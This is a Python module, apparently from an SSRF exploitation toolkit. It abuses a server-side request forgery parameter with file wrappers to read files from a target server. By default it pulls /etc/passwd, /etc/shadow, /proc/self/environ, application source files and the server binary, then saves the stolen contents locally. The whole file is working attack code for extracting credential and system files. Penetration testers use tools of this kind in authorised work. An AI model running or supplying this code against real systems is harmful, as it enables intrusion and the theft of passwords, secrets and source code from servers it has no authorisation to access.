48 lines
1.9 KiB
Python
48 lines
1.9 KiB
Python
from core.utils import *
|
|
import logging
|
|
import os
|
|
from argparse import ArgumentParser
|
|
|
|
name = "readfiles"
|
|
description = "Read files from the target"
|
|
author = "Swissky"
|
|
documentation = []
|
|
|
|
class exploit():
|
|
|
|
def __init__(self, requester, args):
|
|
logging.info(f"Module '{name}' launched !")
|
|
self.files = args.targetfiles.split(',') if args.targetfiles != None else ["/etc/passwd", "/etc/lsb-release", "/etc/shadow", "/etc/hosts", "\/\/etc/passwd", "/proc/self/environ", "/proc/self/cmdline", "/proc/self/cwd/index.php", "/proc/self/cwd/application.py", "/proc/self/cwd/main.py", "/proc/self/exe"]
|
|
self.file_magic = {'elf' : bytes([0x7f, 0x45, 0x4c, 0x46])}
|
|
|
|
r = requester.do_request(args.param, "")
|
|
|
|
if r != None:
|
|
default = r.text
|
|
|
|
# Create directory to store files
|
|
directory = requester.host
|
|
if not os.path.exists(directory):
|
|
os.makedirs(directory)
|
|
|
|
for f in self.files:
|
|
r = requester.do_request(args.param, wrapper_file(f))
|
|
diff = diff_text(r.text, default)
|
|
if diff != "":
|
|
|
|
# Display diff between default and ssrf request
|
|
logging.info(f"\033[32mReading file\033[0m : {f}")
|
|
if bytes(diff, encoding='utf-8').startswith(self.file_magic["elf"]):
|
|
print("ELF binary found - not printing to stdout")
|
|
else:
|
|
print(diff)
|
|
|
|
# Write diff to a file
|
|
filename = f.replace('\\','_').replace('/','_')
|
|
logging.info(f"\033[32mWriting file\033[0m : {f} to {directory + '/' + filename}")
|
|
with open(directory + "/" + filename, 'w') as f:
|
|
f.write(diff)
|
|
|
|
else:
|
|
print("Empty response")
|